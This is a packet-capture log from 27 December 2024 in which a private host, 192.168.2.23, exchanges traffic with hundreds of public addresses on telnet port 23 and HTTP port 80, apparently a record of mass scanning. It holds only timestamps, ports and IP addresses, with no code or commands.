Dec 27, 2024 05:02:51.103075027 CET	14219	23	192.168.2.23	44.232.81.3
Dec 27, 2024 05:02:51.103075027 CET	14219	23	192.168.2.23	111.65.33.3
Dec 27, 2024 05:02:51.103080034 CET	23	14219	60.246.37.194	192.168.2.23
Dec 27, 2024 05:02:51.103085995 CET	14219	23	192.168.2.23	191.242.76.234
Dec 27, 2024 05:02:51.103091002 CET	23	14219	73.175.222.132	192.168.2.23
Dec 27, 2024 05:02:51.103100061 CET	23	14219	129.11.91.11	192.168.2.23
Dec 27, 2024 05:02:51.103108883 CET	23	14219	208.188.179.119	192.168.2.23
Dec 27, 2024 05:02:51.103108883 CET	14219	23	192.168.2.23	130.139.157.181
Dec 27, 2024 05:02:51.103110075 CET	14219	23	192.168.2.23	60.246.37.194
Dec 27, 2024 05:02:51.103120089 CET	23	14219	62.249.60.108	192.168.2.23
Dec 27, 2024 05:02:51.103123903 CET	14219	23	192.168.2.23	129.11.91.11
Dec 27, 2024 05:02:51.103130102 CET	23	14219	145.13.230.215	192.168.2.23
Dec 27, 2024 05:02:51.103138924 CET	23	14219	122.126.116.248	192.168.2.23
Dec 27, 2024 05:02:51.103140116 CET	14219	23	192.168.2.23	73.175.222.132
Dec 27, 2024 05:02:51.103141069 CET	14219	23	192.168.2.23	208.188.179.119
Dec 27, 2024 05:02:51.103148937 CET	23	14219	12.179.3.144	192.168.2.23
Dec 27, 2024 05:02:51.103161097 CET	23	14219	162.178.222.56	192.168.2.23
Dec 27, 2024 05:02:51.103161097 CET	14219	23	192.168.2.23	62.249.60.108
Dec 27, 2024 05:02:51.103161097 CET	14219	23	192.168.2.23	145.13.230.215
Dec 27, 2024 05:02:51.103171110 CET	23	14219	205.20.199.35	192.168.2.23
Dec 27, 2024 05:02:51.103173971 CET	14219	23	192.168.2.23	122.126.116.248
Dec 27, 2024 05:02:51.103182077 CET	23	14219	2.176.134.83	192.168.2.23
Dec 27, 2024 05:02:51.103188038 CET	14219	23	192.168.2.23	162.178.222.56
Dec 27, 2024 05:02:51.103188992 CET	14219	23	192.168.2.23	12.179.3.144
Dec 27, 2024 05:02:51.103192091 CET	23	14219	188.3.148.102	192.168.2.23
Dec 27, 2024 05:02:51.103202105 CET	23	14219	140.69.51.228	192.168.2.23
Dec 27, 2024 05:02:51.103212118 CET	23	14219	184.35.45.125	192.168.2.23
Dec 27, 2024 05:02:51.103214979 CET	14219	23	192.168.2.23	205.20.199.35
Dec 27, 2024 05:02:51.103221893 CET	23	14219	64.49.21.144	192.168.2.23
Dec 27, 2024 05:02:51.103223085 CET	14219	23	192.168.2.23	188.3.148.102
Dec 27, 2024 05:02:51.103229046 CET	14219	23	192.168.2.23	2.176.134.83
Dec 27, 2024 05:02:51.103230953 CET	14219	23	192.168.2.23	184.35.45.125
Dec 27, 2024 05:02:51.103231907 CET	23	14219	201.89.237.232	192.168.2.23
Dec 27, 2024 05:02:51.103234053 CET	14219	23	192.168.2.23	140.69.51.228
Dec 27, 2024 05:02:51.103241920 CET	23	14219	159.117.93.36	192.168.2.23
Dec 27, 2024 05:02:51.103251934 CET	23	14219	134.194.51.25	192.168.2.23
Dec 27, 2024 05:02:51.103251934 CET	14219	23	192.168.2.23	64.49.21.144
Dec 27, 2024 05:02:51.103262901 CET	23	14219	154.124.58.192	192.168.2.23
Dec 27, 2024 05:02:51.103272915 CET	14219	23	192.168.2.23	201.89.237.232
Dec 27, 2024 05:02:51.103276014 CET	23	14219	208.57.120.25	192.168.2.23
Dec 27, 2024 05:02:51.103276014 CET	14219	23	192.168.2.23	159.117.93.36
Dec 27, 2024 05:02:51.103286982 CET	23	14219	106.120.38.210	192.168.2.23
Dec 27, 2024 05:02:51.103296995 CET	14219	23	192.168.2.23	154.124.58.192
Dec 27, 2024 05:02:51.103297949 CET	14219	23	192.168.2.23	134.194.51.25
Dec 27, 2024 05:02:51.103306055 CET	23	14219	191.216.130.165	192.168.2.23
Dec 27, 2024 05:02:51.103322029 CET	23	14219	141.190.157.140	192.168.2.23
Dec 27, 2024 05:02:51.103322029 CET	14219	23	192.168.2.23	208.57.120.25
Dec 27, 2024 05:02:51.103328943 CET	14219	23	192.168.2.23	106.120.38.210
Dec 27, 2024 05:02:51.103332996 CET	23	14219	217.120.47.227	192.168.2.23
Dec 27, 2024 05:02:51.103342056 CET	14219	23	192.168.2.23	191.216.130.165
Dec 27, 2024 05:02:51.103343010 CET	23	14219	205.86.35.180	192.168.2.23
Dec 27, 2024 05:02:51.103353977 CET	23	14219	90.250.157.123	192.168.2.23
Dec 27, 2024 05:02:51.103363037 CET	23	14219	178.185.103.172	192.168.2.23
Dec 27, 2024 05:02:51.103365898 CET	14219	23	192.168.2.23	217.120.47.227
Dec 27, 2024 05:02:51.103365898 CET	14219	23	192.168.2.23	141.190.157.140
Dec 27, 2024 05:02:51.103374004 CET	23	14219	69.244.48.113	192.168.2.23
Dec 27, 2024 05:02:51.103384018 CET	23	14219	137.189.200.211	192.168.2.23
Dec 27, 2024 05:02:51.103387117 CET	14219	23	192.168.2.23	90.250.157.123
Dec 27, 2024 05:02:51.103388071 CET	14219	23	192.168.2.23	205.86.35.180
Dec 27, 2024 05:02:51.103394032 CET	23	14219	193.211.40.248	192.168.2.23
Dec 27, 2024 05:02:51.103404045 CET	14219	23	192.168.2.23	178.185.103.172
Dec 27, 2024 05:02:51.103405952 CET	14219	23	192.168.2.23	69.244.48.113
Dec 27, 2024 05:02:51.103411913 CET	23	14219	64.216.44.169	192.168.2.23
Dec 27, 2024 05:02:51.103418112 CET	14219	23	192.168.2.23	137.189.200.211
Dec 27, 2024 05:02:51.103423119 CET	23	14219	111.86.116.135	192.168.2.23
Dec 27, 2024 05:02:51.103429079 CET	14219	23	192.168.2.23	193.211.40.248
Dec 27, 2024 05:02:51.103434086 CET	23	14219	57.202.11.216	192.168.2.23
Dec 27, 2024 05:02:51.103441000 CET	14219	23	192.168.2.23	64.216.44.169
Dec 27, 2024 05:02:51.103450060 CET	23	14219	41.218.226.16	192.168.2.23
Dec 27, 2024 05:02:51.103458881 CET	14219	23	192.168.2.23	111.86.116.135
Dec 27, 2024 05:02:51.103460073 CET	23	14219	84.56.30.58	192.168.2.23
Dec 27, 2024 05:02:51.103467941 CET	14219	23	192.168.2.23	57.202.11.216
Dec 27, 2024 05:02:51.103471041 CET	23	14219	196.120.211.182	192.168.2.23
Dec 27, 2024 05:02:51.103477001 CET	14219	23	192.168.2.23	41.218.226.16
Dec 27, 2024 05:02:51.103482008 CET	23	14219	115.74.9.160	192.168.2.23
Dec 27, 2024 05:02:51.103492022 CET	23	14219	140.251.235.95	192.168.2.23
Dec 27, 2024 05:02:51.103496075 CET	14219	23	192.168.2.23	84.56.30.58
Dec 27, 2024 05:02:51.103501081 CET	23	14219	2.131.61.33	192.168.2.23
Dec 27, 2024 05:02:51.103509903 CET	14219	23	192.168.2.23	196.120.211.182
Dec 27, 2024 05:02:51.103512049 CET	23	14219	160.28.142.172	192.168.2.23
Dec 27, 2024 05:02:51.103522062 CET	23	14219	27.75.41.180	192.168.2.23
Dec 27, 2024 05:02:51.103530884 CET	14219	23	192.168.2.23	115.74.9.160
Dec 27, 2024 05:02:51.103530884 CET	14219	23	192.168.2.23	140.251.235.95
Dec 27, 2024 05:02:51.103533030 CET	23	14219	43.34.185.19	192.168.2.23
Dec 27, 2024 05:02:51.103535891 CET	14219	23	192.168.2.23	2.131.61.33
Dec 27, 2024 05:02:51.103547096 CET	23	14219	114.233.238.204	192.168.2.23
Dec 27, 2024 05:02:51.103548050 CET	14219	23	192.168.2.23	160.28.142.172
Dec 27, 2024 05:02:51.103553057 CET	14219	23	192.168.2.23	27.75.41.180
Dec 27, 2024 05:02:51.103557110 CET	23	14219	191.92.17.140	192.168.2.23
Dec 27, 2024 05:02:51.103566885 CET	23	14219	196.166.17.94	192.168.2.23
Dec 27, 2024 05:02:51.103573084 CET	14219	23	192.168.2.23	43.34.185.19
Dec 27, 2024 05:02:51.103574038 CET	14219	23	192.168.2.23	114.233.238.204
Dec 27, 2024 05:02:51.103575945 CET	23	14219	78.132.216.225	192.168.2.23
Dec 27, 2024 05:02:51.103584051 CET	14219	23	192.168.2.23	191.92.17.140
Dec 27, 2024 05:02:51.103586912 CET	23	14219	205.7.77.115	192.168.2.23
Dec 27, 2024 05:02:51.103593111 CET	14219	23	192.168.2.23	196.166.17.94
Dec 27, 2024 05:02:51.103596926 CET	23	14219	220.30.205.60	192.168.2.23
Dec 27, 2024 05:02:51.103609085 CET	23	14219	77.206.183.209	192.168.2.23
Dec 27, 2024 05:02:51.103614092 CET	14219	23	192.168.2.23	78.132.216.225
Dec 27, 2024 05:02:51.103619099 CET	23	14219	43.185.249.178	192.168.2.23
Dec 27, 2024 05:02:51.103619099 CET	14219	23	192.168.2.23	205.7.77.115
Dec 27, 2024 05:02:51.103630066 CET	23	14219	112.227.241.38	192.168.2.23
Dec 27, 2024 05:02:51.103638887 CET	23	14219	64.123.169.205	192.168.2.23
Dec 27, 2024 05:02:51.103641987 CET	14219	23	192.168.2.23	220.30.205.60
Dec 27, 2024 05:02:51.103641987 CET	14219	23	192.168.2.23	77.206.183.209
Dec 27, 2024 05:02:51.103647947 CET	23	14219	1.38.135.142	192.168.2.23
Dec 27, 2024 05:02:51.103653908 CET	14219	23	192.168.2.23	43.185.249.178
Dec 27, 2024 05:02:51.103662014 CET	23	14219	49.53.253.157	192.168.2.23
Dec 27, 2024 05:02:51.103667974 CET	14219	23	192.168.2.23	112.227.241.38
Dec 27, 2024 05:02:51.103667974 CET	14219	23	192.168.2.23	64.123.169.205
Dec 27, 2024 05:02:51.103679895 CET	23	14219	23.184.52.71	192.168.2.23
Dec 27, 2024 05:02:51.103681087 CET	14219	23	192.168.2.23	1.38.135.142
Dec 27, 2024 05:02:51.103689909 CET	23	14219	14.235.249.163	192.168.2.23
Dec 27, 2024 05:02:51.103699923 CET	23	14219	9.36.238.242	192.168.2.23
Dec 27, 2024 05:02:51.103708982 CET	23	14219	140.173.189.65	192.168.2.23
Dec 27, 2024 05:02:51.103710890 CET	14219	23	192.168.2.23	23.184.52.71
Dec 27, 2024 05:02:51.103712082 CET	14219	23	192.168.2.23	49.53.253.157
Dec 27, 2024 05:02:51.103720903 CET	14219	23	192.168.2.23	14.235.249.163
Dec 27, 2024 05:02:51.103728056 CET	23	14219	183.97.92.152	192.168.2.23
Dec 27, 2024 05:02:51.103738070 CET	23	14219	192.88.82.3	192.168.2.23
Dec 27, 2024 05:02:51.103744030 CET	14219	23	192.168.2.23	140.173.189.65
Dec 27, 2024 05:02:51.103744984 CET	14219	23	192.168.2.23	9.36.238.242
Dec 27, 2024 05:02:51.103746891 CET	23	14219	117.10.38.31	192.168.2.23
Dec 27, 2024 05:02:51.103758097 CET	23	14219	186.202.181.160	192.168.2.23
Dec 27, 2024 05:02:51.103761911 CET	14219	23	192.168.2.23	183.97.92.152
Dec 27, 2024 05:02:51.103765011 CET	14219	23	192.168.2.23	192.88.82.3
Dec 27, 2024 05:02:51.103768110 CET	23	14219	14.5.237.210	192.168.2.23
Dec 27, 2024 05:02:51.103777885 CET	14219	23	192.168.2.23	117.10.38.31
Dec 27, 2024 05:02:51.103777885 CET	14219	23	192.168.2.23	186.202.181.160
Dec 27, 2024 05:02:51.103779078 CET	23	14219	176.150.104.65	192.168.2.23
Dec 27, 2024 05:02:51.103790045 CET	23	14219	68.52.29.72	192.168.2.23
Dec 27, 2024 05:02:51.103801012 CET	23	14219	90.247.95.136	192.168.2.23
Dec 27, 2024 05:02:51.103809118 CET	23	14219	130.126.237.220	192.168.2.23
Dec 27, 2024 05:02:51.103809118 CET	14219	23	192.168.2.23	14.5.237.210
Dec 27, 2024 05:02:51.103818893 CET	23	14219	17.229.9.10	192.168.2.23
Dec 27, 2024 05:02:51.103822947 CET	14219	23	192.168.2.23	68.52.29.72
Dec 27, 2024 05:02:51.103827000 CET	14219	23	192.168.2.23	176.150.104.65
Dec 27, 2024 05:02:51.103827000 CET	14219	23	192.168.2.23	90.247.95.136
Dec 27, 2024 05:02:51.103828907 CET	23	14219	27.151.96.48	192.168.2.23
Dec 27, 2024 05:02:51.103838921 CET	23	14219	191.254.90.96	192.168.2.23
Dec 27, 2024 05:02:51.103842020 CET	14219	23	192.168.2.23	17.229.9.10
Dec 27, 2024 05:02:51.103844881 CET	14219	23	192.168.2.23	130.126.237.220
Dec 27, 2024 05:02:51.103848934 CET	23	14219	141.196.94.253	192.168.2.23
Dec 27, 2024 05:02:51.103858948 CET	23	14219	65.198.175.211	192.168.2.23
Dec 27, 2024 05:02:51.103868961 CET	14219	23	192.168.2.23	27.151.96.48
Dec 27, 2024 05:02:51.103871107 CET	14219	23	192.168.2.23	191.254.90.96
Dec 27, 2024 05:02:51.103871107 CET	23	14219	138.103.232.158	192.168.2.23
Dec 27, 2024 05:02:51.103882074 CET	14219	23	192.168.2.23	141.196.94.253
Dec 27, 2024 05:02:51.103882074 CET	23	14219	108.118.197.5	192.168.2.23
Dec 27, 2024 05:02:51.103893042 CET	23	14219	203.191.127.133	192.168.2.23
Dec 27, 2024 05:02:51.103899956 CET	14219	23	192.168.2.23	65.198.175.211
Dec 27, 2024 05:02:51.103903055 CET	80	14220	87.147.211.121	192.168.2.23
Dec 27, 2024 05:02:51.103909016 CET	14219	23	192.168.2.23	108.118.197.5
Dec 27, 2024 05:02:51.103913069 CET	14219	23	192.168.2.23	138.103.232.158
Dec 27, 2024 05:02:51.103913069 CET	80	14220	125.194.197.121	192.168.2.23
Dec 27, 2024 05:02:51.103924990 CET	80	14220	168.85.227.243	192.168.2.23
Dec 27, 2024 05:02:51.103933096 CET	80	14220	67.125.153.20	192.168.2.23
Dec 27, 2024 05:02:51.103935003 CET	14220	80	192.168.2.23	87.147.211.121
Dec 27, 2024 05:02:51.103941917 CET	14219	23	192.168.2.23	203.191.127.133
Dec 27, 2024 05:02:51.103943110 CET	80	14220	79.175.41.165	192.168.2.23
Dec 27, 2024 05:02:51.103952885 CET	14220	80	192.168.2.23	125.194.197.121
Dec 27, 2024 05:02:51.103954077 CET	14220	80	192.168.2.23	168.85.227.243
Dec 27, 2024 05:02:51.103956938 CET	80	14220	213.28.167.232	192.168.2.23
Dec 27, 2024 05:02:51.103962898 CET	14220	80	192.168.2.23	67.125.153.20
Dec 27, 2024 05:02:51.103965998 CET	14220	80	192.168.2.23	79.175.41.165
Dec 27, 2024 05:02:51.103971958 CET	80	14220	189.243.148.118	192.168.2.23
Dec 27, 2024 05:02:51.103981972 CET	80	14220	104.213.151.107	192.168.2.23
Dec 27, 2024 05:02:51.103991032 CET	14220	80	192.168.2.23	213.28.167.232
Dec 27, 2024 05:02:51.104001045 CET	80	14220	128.45.180.221	192.168.2.23
Dec 27, 2024 05:02:51.104011059 CET	80	14220	170.2.217.50	192.168.2.23
Dec 27, 2024 05:02:51.104018927 CET	80	14220	39.212.48.114	192.168.2.23
Dec 27, 2024 05:02:51.104021072 CET	14220	80	192.168.2.23	104.213.151.107
Dec 27, 2024 05:02:51.104022980 CET	14220	80	192.168.2.23	189.243.148.118
Dec 27, 2024 05:02:51.104028940 CET	80	14220	105.203.18.221	192.168.2.23
Dec 27, 2024 05:02:51.104038954 CET	80	14220	49.2.119.169	192.168.2.23
Dec 27, 2024 05:02:51.104042053 CET	14220	80	192.168.2.23	128.45.180.221
Dec 27, 2024 05:02:51.104049921 CET	80	14220	212.145.247.188	192.168.2.23
Dec 27, 2024 05:02:51.104051113 CET	14220	80	192.168.2.23	170.2.217.50
Dec 27, 2024 05:02:51.104051113 CET	14220	80	192.168.2.23	39.212.48.114
Dec 27, 2024 05:02:51.104059935 CET	80	14220	165.28.43.242	192.168.2.23
Dec 27, 2024 05:02:51.104059935 CET	14220	80	192.168.2.23	105.203.18.221
Dec 27, 2024 05:02:51.104070902 CET	80	14220	161.232.121.138	192.168.2.23
Dec 27, 2024 05:02:51.104087114 CET	80	14220	38.37.205.205	192.168.2.23
Dec 27, 2024 05:02:51.104090929 CET	14220	80	192.168.2.23	165.28.43.242
Dec 27, 2024 05:02:51.104091883 CET	14220	80	192.168.2.23	212.145.247.188
Dec 27, 2024 05:02:51.104096889 CET	80	14220	129.126.214.108	192.168.2.23
Dec 27, 2024 05:02:51.104108095 CET	80	14220	68.117.85.8	192.168.2.23
Dec 27, 2024 05:02:51.104113102 CET	14220	80	192.168.2.23	161.232.121.138
Dec 27, 2024 05:02:51.104118109 CET	80	14220	91.62.118.207	192.168.2.23
Dec 27, 2024 05:02:51.104120016 CET	14220	80	192.168.2.23	38.37.205.205
Dec 27, 2024 05:02:51.104126930 CET	14220	80	192.168.2.23	49.2.119.169
Dec 27, 2024 05:02:51.104135990 CET	80	14220	143.123.50.19	192.168.2.23
Dec 27, 2024 05:02:51.104139090 CET	14220	80	192.168.2.23	129.126.214.108
Dec 27, 2024 05:02:51.104146957 CET	80	14220	36.236.101.45	192.168.2.23
Dec 27, 2024 05:02:51.104146957 CET	14220	80	192.168.2.23	68.117.85.8
Dec 27, 2024 05:02:51.104156971 CET	14220	80	192.168.2.23	91.62.118.207
Dec 27, 2024 05:02:51.104159117 CET	80	14220	51.112.21.221	192.168.2.23
Dec 27, 2024 05:02:51.104166031 CET	14220	80	192.168.2.23	143.123.50.19
Dec 27, 2024 05:02:51.104172945 CET	80	14220	75.13.169.2	192.168.2.23
Dec 27, 2024 05:02:51.104182005 CET	80	14220	9.14.224.181	192.168.2.23
Dec 27, 2024 05:02:51.104185104 CET	14220	80	192.168.2.23	36.236.101.45
Dec 27, 2024 05:02:51.104192019 CET	80	14220	19.62.118.208	192.168.2.23
Dec 27, 2024 05:02:51.104196072 CET	14220	80	192.168.2.23	51.112.21.221
Dec 27, 2024 05:02:51.104202032 CET	14220	80	192.168.2.23	75.13.169.2
Dec 27, 2024 05:02:51.104202032 CET	80	14220	141.255.182.214	192.168.2.23
Dec 27, 2024 05:02:51.104212046 CET	80	14220	198.39.77.1	192.168.2.23
Dec 27, 2024 05:02:51.104218960 CET	14220	80	192.168.2.23	9.14.224.181
Dec 27, 2024 05:02:51.104222059 CET	80	14220	129.254.34.154	192.168.2.23
Dec 27, 2024 05:02:51.104223013 CET	14220	80	192.168.2.23	19.62.118.208
Dec 27, 2024 05:02:51.104231119 CET	14220	80	192.168.2.23	141.255.182.214
Dec 27, 2024 05:02:51.104231119 CET	80	14220	198.250.219.78	192.168.2.23
Dec 27, 2024 05:02:51.104243994 CET	14220	80	192.168.2.23	198.39.77.1
Dec 27, 2024 05:02:51.104250908 CET	80	14220	92.76.164.112	192.168.2.23
Dec 27, 2024 05:02:51.104259968 CET	14220	80	192.168.2.23	129.254.34.154
Dec 27, 2024 05:02:51.104260921 CET	80	14220	193.238.167.26	192.168.2.23
Dec 27, 2024 05:02:51.104270935 CET	80	14220	2.50.83.95	192.168.2.23
Dec 27, 2024 05:02:51.104271889 CET	14220	80	192.168.2.23	198.250.219.78
Dec 27, 2024 05:02:51.104279995 CET	80	14220	37.120.71.26	192.168.2.23
Dec 27, 2024 05:02:51.104286909 CET	14220	80	192.168.2.23	92.76.164.112
Dec 27, 2024 05:02:51.104290009 CET	14220	80	192.168.2.23	193.238.167.26
Dec 27, 2024 05:02:51.104300022 CET	80	14220	165.114.90.109	192.168.2.23
Dec 27, 2024 05:02:51.104302883 CET	14220	80	192.168.2.23	2.50.83.95
Dec 27, 2024 05:02:51.104310989 CET	80	14220	102.172.172.233	192.168.2.23
Dec 27, 2024 05:02:51.104315996 CET	14220	80	192.168.2.23	37.120.71.26
Dec 27, 2024 05:02:51.104321957 CET	80	14220	102.173.226.0	192.168.2.23
Dec 27, 2024 05:02:51.104331970 CET	80	14220	51.130.115.45	192.168.2.23
Dec 27, 2024 05:02:51.104340076 CET	14220	80	192.168.2.23	102.172.172.233
Dec 27, 2024 05:02:51.104341984 CET	14220	80	192.168.2.23	165.114.90.109
Dec 27, 2024 05:02:51.104345083 CET	80	14220	36.4.92.78	192.168.2.23
Dec 27, 2024 05:02:51.104351044 CET	14220	80	192.168.2.23	102.173.226.0
Dec 27, 2024 05:02:51.104360104 CET	80	14220	216.92.43.232	192.168.2.23
Dec 27, 2024 05:02:51.104370117 CET	80	14220	101.44.170.187	192.168.2.23
Dec 27, 2024 05:02:51.104376078 CET	14220	80	192.168.2.23	51.130.115.45
Dec 27, 2024 05:02:51.104379892 CET	80	14220	37.6.236.194	192.168.2.23
Dec 27, 2024 05:02:51.104388952 CET	14220	80	192.168.2.23	36.4.92.78
Dec 27, 2024 05:02:51.104388952 CET	14220	80	192.168.2.23	216.92.43.232
Dec 27, 2024 05:02:51.104389906 CET	80	14220	13.12.33.31	192.168.2.23
Dec 27, 2024 05:02:51.104399920 CET	80	14220	58.103.110.160	192.168.2.23
Dec 27, 2024 05:02:51.104404926 CET	14220	80	192.168.2.23	101.44.170.187
Dec 27, 2024 05:02:51.104410887 CET	80	14220	44.76.172.153	192.168.2.23
Dec 27, 2024 05:02:51.104419947 CET	80	14220	159.49.144.122	192.168.2.23
Dec 27, 2024 05:02:51.104424000 CET	14220	80	192.168.2.23	13.12.33.31
Dec 27, 2024 05:02:51.104424953 CET	14220	80	192.168.2.23	37.6.236.194
Dec 27, 2024 05:02:51.104430914 CET	80	14220	31.83.174.142	192.168.2.23
Dec 27, 2024 05:02:51.104435921 CET	14220	80	192.168.2.23	58.103.110.160
Dec 27, 2024 05:02:51.104440928 CET	80	14220	210.217.135.243	192.168.2.23
Dec 27, 2024 05:02:51.104450941 CET	80	14220	58.165.132.183	192.168.2.23
Dec 27, 2024 05:02:51.104456902 CET	14220	80	192.168.2.23	159.49.144.122
Dec 27, 2024 05:02:51.104460955 CET	80	14220	84.204.131.88	192.168.2.23
Dec 27, 2024 05:02:51.104461908 CET	14220	80	192.168.2.23	44.76.172.153
Dec 27, 2024 05:02:51.104465961 CET	14220	80	192.168.2.23	31.83.174.142
Dec 27, 2024 05:02:51.104470968 CET	80	14220	53.54.108.106	192.168.2.23
Dec 27, 2024 05:02:51.104475021 CET	14220	80	192.168.2.23	210.217.135.243
Dec 27, 2024 05:02:51.104480982 CET	80	14220	158.195.22.63	192.168.2.23
Dec 27, 2024 05:02:51.104490995 CET	80	14220	121.72.68.128	192.168.2.23
Dec 27, 2024 05:02:51.104497910 CET	14220	80	192.168.2.23	84.204.131.88
Dec 27, 2024 05:02:51.104501009 CET	80	14220	202.140.194.16	192.168.2.23
Dec 27, 2024 05:02:51.104510069 CET	80	14220	49.211.16.34	192.168.2.23
Dec 27, 2024 05:02:51.104511023 CET	14220	80	192.168.2.23	53.54.108.106
Dec 27, 2024 05:02:51.104511023 CET	14220	80	192.168.2.23	58.165.132.183
Dec 27, 2024 05:02:51.104511023 CET	14220	80	192.168.2.23	158.195.22.63
Dec 27, 2024 05:02:51.104520082 CET	80	14220	79.92.152.212	192.168.2.23
Dec 27, 2024 05:02:51.104530096 CET	80	14220	60.61.219.130	192.168.2.23
Dec 27, 2024 05:02:51.104532957 CET	14220	80	192.168.2.23	121.72.68.128
Dec 27, 2024 05:02:51.104532957 CET	14220	80	192.168.2.23	202.140.194.16
Dec 27, 2024 05:02:51.104540110 CET	80	14220	100.23.68.97	192.168.2.23
Dec 27, 2024 05:02:51.104546070 CET	14220	80	192.168.2.23	49.211.16.34
Dec 27, 2024 05:02:51.104548931 CET	14220	80	192.168.2.23	79.92.152.212
Dec 27, 2024 05:02:51.104549885 CET	80	14220	142.215.225.230	192.168.2.23
Dec 27, 2024 05:02:51.104562998 CET	14220	80	192.168.2.23	60.61.219.130
Dec 27, 2024 05:02:51.104571104 CET	80	14220	38.105.90.49	192.168.2.23
Dec 27, 2024 05:02:51.104581118 CET	80	14220	132.25.125.146	192.168.2.23
Dec 27, 2024 05:02:51.104583025 CET	14220	80	192.168.2.23	142.215.225.230
Dec 27, 2024 05:02:51.104588032 CET	14220	80	192.168.2.23	100.23.68.97
Dec 27, 2024 05:02:51.104589939 CET	80	14220	45.213.194.134	192.168.2.23
Dec 27, 2024 05:02:51.104600906 CET	80	14220	115.206.5.178	192.168.2.23
Dec 27, 2024 05:02:51.104604006 CET	14220	80	192.168.2.23	132.25.125.146
Dec 27, 2024 05:02:51.104604959 CET	14220	80	192.168.2.23	38.105.90.49
Dec 27, 2024 05:02:51.104612112 CET	80	14220	20.46.107.118	192.168.2.23
Dec 27, 2024 05:02:51.104621887 CET	80	14220	51.69.120.213	192.168.2.23
Dec 27, 2024 05:02:51.104629993 CET	80	14220	25.226.244.227	192.168.2.23
Dec 27, 2024 05:02:51.104629993 CET	14220	80	192.168.2.23	115.206.5.178
Dec 27, 2024 05:02:51.104638100 CET	14220	80	192.168.2.23	20.46.107.118
Dec 27, 2024 05:02:51.104640007 CET	80	14220	136.210.33.131	192.168.2.23
Dec 27, 2024 05:02:51.104650974 CET	80	14220	42.15.70.205	192.168.2.23
Dec 27, 2024 05:02:51.104652882 CET	14220	80	192.168.2.23	51.69.120.213
Dec 27, 2024 05:02:51.104655027 CET	14220	80	192.168.2.23	45.213.194.134
Dec 27, 2024 05:02:51.104660034 CET	14220	80	192.168.2.23	25.226.244.227
Dec 27, 2024 05:02:51.104660988 CET	80	14220	63.56.160.255	192.168.2.23
Dec 27, 2024 05:02:51.104671001 CET	80	14220	186.108.74.195	192.168.2.23
Dec 27, 2024 05:02:51.104676008 CET	14220	80	192.168.2.23	136.210.33.131
Dec 27, 2024 05:02:51.104680061 CET	80	14220	120.190.92.222	192.168.2.23
Dec 27, 2024 05:02:51.104688883 CET	14220	80	192.168.2.23	63.56.160.255
Dec 27, 2024 05:02:51.104690075 CET	80	14220	103.35.224.103	192.168.2.23
Dec 27, 2024 05:02:51.104691029 CET	14220	80	192.168.2.23	42.15.70.205
Dec 27, 2024 05:02:51.104695082 CET	80	14220	73.226.89.225	192.168.2.23
Dec 27, 2024 05:02:51.104701042 CET	80	14220	43.244.180.57	192.168.2.23
Dec 27, 2024 05:02:51.104705095 CET	14220	80	192.168.2.23	186.108.74.195
Dec 27, 2024 05:02:51.104705095 CET	80	14220	44.156.170.236	192.168.2.23
Dec 27, 2024 05:02:51.104708910 CET	80	14220	110.124.226.101	192.168.2.23
Dec 27, 2024 05:02:51.104717016 CET	80	14220	107.182.52.167	192.168.2.23
Dec 27, 2024 05:02:51.104727030 CET	80	14220	106.176.128.130	192.168.2.23
Dec 27, 2024 05:02:51.104736090 CET	80	14220	197.250.173.194	192.168.2.23
Dec 27, 2024 05:02:51.104739904 CET	14220	80	192.168.2.23	43.244.180.57
Dec 27, 2024 05:02:51.104739904 CET	14220	80	192.168.2.23	110.124.226.101
Dec 27, 2024 05:02:51.104743004 CET	14220	80	192.168.2.23	44.156.170.236
Dec 27, 2024 05:02:51.104743004 CET	14220	80	192.168.2.23	120.190.92.222
Dec 27, 2024 05:02:51.104743004 CET	14220	80	192.168.2.23	103.35.224.103
Dec 27, 2024 05:02:51.104748011 CET	14220	80	192.168.2.23	73.226.89.225
Dec 27, 2024 05:02:51.104748964 CET	14220	80	192.168.2.23	106.176.128.130
Dec 27, 2024 05:02:51.104758024 CET	14220	80	192.168.2.23	107.182.52.167
Dec 27, 2024 05:02:51.104759932 CET	80	14220	222.193.78.57	192.168.2.23
Dec 27, 2024 05:02:51.104770899 CET	80	14220	157.229.114.131	192.168.2.23
Dec 27, 2024 05:02:51.104783058 CET	80	14220	221.129.152.155	192.168.2.23
Dec 27, 2024 05:02:51.104787111 CET	14220	80	192.168.2.23	197.250.173.194
Dec 27, 2024 05:02:51.104794025 CET	14220	80	192.168.2.23	222.193.78.57
Dec 27, 2024 05:02:51.104796886 CET	80	14220	186.48.51.122	192.168.2.23
Dec 27, 2024 05:02:51.104809046 CET	80	14220	211.161.224.175	192.168.2.23
Dec 27, 2024 05:02:51.104810953 CET	14220	80	192.168.2.23	157.229.114.131
Dec 27, 2024 05:02:51.104815006 CET	14220	80	192.168.2.23	221.129.152.155
Dec 27, 2024 05:02:51.104818106 CET	80	14220	124.128.25.44	192.168.2.23
Dec 27, 2024 05:02:51.104827881 CET	80	14220	190.44.24.60	192.168.2.23
Dec 27, 2024 05:02:51.104837894 CET	80	14220	165.142.91.112	192.168.2.23
Dec 27, 2024 05:02:51.104847908 CET	80	14220	188.46.248.160	192.168.2.23
Dec 27, 2024 05:02:51.104851007 CET	14220	80	192.168.2.23	124.128.25.44
Dec 27, 2024 05:02:51.104851007 CET	14220	80	192.168.2.23	211.161.224.175
Dec 27, 2024 05:02:51.104857922 CET	80	14220	19.101.51.213	192.168.2.23
Dec 27, 2024 05:02:51.104859114 CET	14220	80	192.168.2.23	186.48.51.122
Dec 27, 2024 05:02:51.104861021 CET	14220	80	192.168.2.23	190.44.24.60
Dec 27, 2024 05:02:51.104868889 CET	80	14220	209.149.37.142	192.168.2.23
Dec 27, 2024 05:02:51.104871035 CET	14220	80	192.168.2.23	188.46.248.160
Dec 27, 2024 05:02:51.104876041 CET	14220	80	192.168.2.23	165.142.91.112
Dec 27, 2024 05:02:51.104878902 CET	80	14220	86.59.62.5	192.168.2.23
Dec 27, 2024 05:02:51.104888916 CET	80	14220	12.189.237.244	192.168.2.23
Dec 27, 2024 05:02:51.104897976 CET	80	14220	62.178.107.109	192.168.2.23
Dec 27, 2024 05:02:51.104907990 CET	80	14220	73.89.83.26	192.168.2.23
Dec 27, 2024 05:02:51.104907036 CET	14220	80	192.168.2.23	19.101.51.213
Dec 27, 2024 05:02:51.104912043 CET	14220	80	192.168.2.23	209.149.37.142
Dec 27, 2024 05:02:51.104912996 CET	14220	80	192.168.2.23	86.59.62.5
Dec 27, 2024 05:02:51.104912996 CET	14220	80	192.168.2.23	12.189.237.244
